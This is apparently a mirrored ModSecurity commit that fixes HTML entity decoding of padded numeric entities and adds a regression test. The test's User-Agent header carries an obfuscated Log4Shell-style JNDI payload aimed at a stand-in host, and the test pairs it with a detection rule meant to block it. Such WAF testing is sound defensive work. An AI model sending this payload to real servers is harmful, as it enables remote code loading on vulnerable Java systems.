github_mirrors/ModSecurity
3
0
Fork 1
mirror of https://github.com/owasp-modsecurity/ModSecurity.git synced 2025-08-14 05:45:59 +03:00
Code Issues Packages Projects Releases Wiki Activity

fix: fixed htmlEntityDecode methods

Browse Source
This commit is contained in:
Ervin Hegedus 2025-02-24 16:44:17 +01:00
parent f96806cd28
commit c82e831b66
No known key found for this signature in database
GPG Key ID: 5FA5BC3F5EC41F61
3 changed files with 59 additions and 9 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

19
src/actions/transformations/html_entity_decode.cc
View File

@ -62,18 +62,18 @@ static inline bool inplace(std::string &value) {
} }
j++; /* j is the position of the first digit now. */ j++; /* j is the position of the first digit now. */
constexpr int MAX_HEX_DIGITS = 2; // supports only bytes (max value 0xff)
auto k = j; auto k = j;
while ((j - k < MAX_HEX_DIGITS) && (j < input_len) && (isxdigit(input[j]))) { while ((j < input_len) && (isxdigit(input[j]))) {
j++; j++;
} }
if (j > k) { /* Do we have at least one digit? */ if (j > k) { /* Do we have at least one digit? */
/* Decode the entity. */ /* Decode the entity. */
char x[MAX_HEX_DIGITS + 1]; char *x = new char[(j - k) + 1];
memcpy(x, (const char *)&input[k], j - k); std::copy(input + k, input + j, x);
x[j - k] = '\0'; x[j - k] = '\0';
*d++ = (unsigned char)strtol(x, nullptr, 16); *d++ = (unsigned char)strtol(x, nullptr, 16);
delete[] x;
/* Skip over the semicolon if it's there. */ /* Skip over the semicolon if it's there. */
if ((j < input_len) && (input[j] == ';')) { if ((j < input_len) && (input[j] == ';')) {
@ -87,18 +87,19 @@ static inline bool inplace(std::string &value) {
} }
} else { } else {
/* Decimal entity. */ /* Decimal entity. */
constexpr int MAX_DEC_DIGITS = 3; // supports only bytes (max value 255)
auto k = j; auto k = j;
while ((j - k < MAX_DEC_DIGITS) && (j < input_len) && (isdigit(input[j]))) {
while ((j < input_len) && (isdigit(input[j]))) {
j++; j++;
} }
if (j > k) { /* Do we have at least one digit? */ if (j > k) { /* Do we have at least one digit? */
/* Decode the entity. */ /* Decode the entity. */
char x[MAX_DEC_DIGITS + 1]; char *x = new char[j - k + 1];
memcpy(x, (const char *)&input[k], j - k); std::copy(input + k, input + j, x);
x[j - k] = '\0';
x[j - k] = '\0';
*d++ = (unsigned char)strtol(x, nullptr, 10); *d++ = (unsigned char)strtol(x, nullptr, 10);
delete[] x;
/* Skip over the semicolon if it's there. */ /* Skip over the semicolon if it's there. */
if ((j < input_len) && (input[j] == ';')) { if ((j < input_len) && (input[j] == ';')) {

48
test/test-cases/regression/issue-3340.json Normal file
View File

@ -0,0 +1,48 @@
[
{
"enabled": 1,
"version_min": 300000,
"version_max": 0,
"title": "Decode HTML entities with padding",
"client": {
"ip": "200.249.12.31",
"port": 2313
},
"server": {
"ip": "200.249.12.31",
"port": 80
},
"request": {
"headers": {
"Host": "localhost",
"User-Agent": "&#x24;&#00000000000000000000000000000000000000000000000123;jndi:ldap://evil.om/w}",
"Accept": "text\/html,application\/xhtml+xml,application\/xml;q=0.9,*\/*;q=0.8",
"Accept-Language": "en-us,en;q=0.5",
"Accept-Encoding": "gzip,deflate",
"Accept-Charset": "ISO-8859-1,utf-8;q=0.7,*;q=0.7",
"Keep-Alive": "300",
"Connection": "keep-alive",
"Cookie": "PHPSESSID=r2t5uvjq435r4q7ib3vtdjq120",
"Pragma": "no-cache",
"Cache-Control": "no-cache"
},
"uri": "/",
"method": "GET",
"http_version": 1.1,
"body": ""
},
"response": {
"headers": {
"Content-Type": "text\/xml; charset=utf-8"
},
"body": "<html><body>OK</bod></html>"
},
"expected": {
"http_code": 403
},
"rules": [
"SecRuleEngine On",
"SecRule REQUEST_HEADERS \"@rx (?i)(?:\\$|&dollar;?)(?:\\{|&l(?:brace|cub);?)(?:[^\\}]{0,15}(?:\\$|&dollar;?)(?:\\{|&l(?:brace|cub);?)|jndi|ctx)\" \"id:944150,phase:2,deny,t:none,t:urlDecodeUni,t:jsDecode,t:htmlEntityDecode,log\""
]
}
]

1
test/test-suite.in
View File

@ -73,6 +73,7 @@ TESTS+=test/test-cases/regression/issue-2196.json
TESTS+=test/test-cases/regression/issue-2423-msg-in-chain.json TESTS+=test/test-cases/regression/issue-2423-msg-in-chain.json
TESTS+=test/test-cases/regression/issue-2427.json TESTS+=test/test-cases/regression/issue-2427.json
TESTS+=test/test-cases/regression/issue-2296.json TESTS+=test/test-cases/regression/issue-2296.json
TESTS+=test/test-cases/regression/issue-3340.json
TESTS+=test/test-cases/regression/issue-394.json TESTS+=test/test-cases/regression/issue-394.json
TESTS+=test/test-cases/regression/issue-849.json TESTS+=test/test-cases/regression/issue-849.json
TESTS+=test/test-cases/regression/issue-960.json TESTS+=test/test-cases/regression/issue-960.json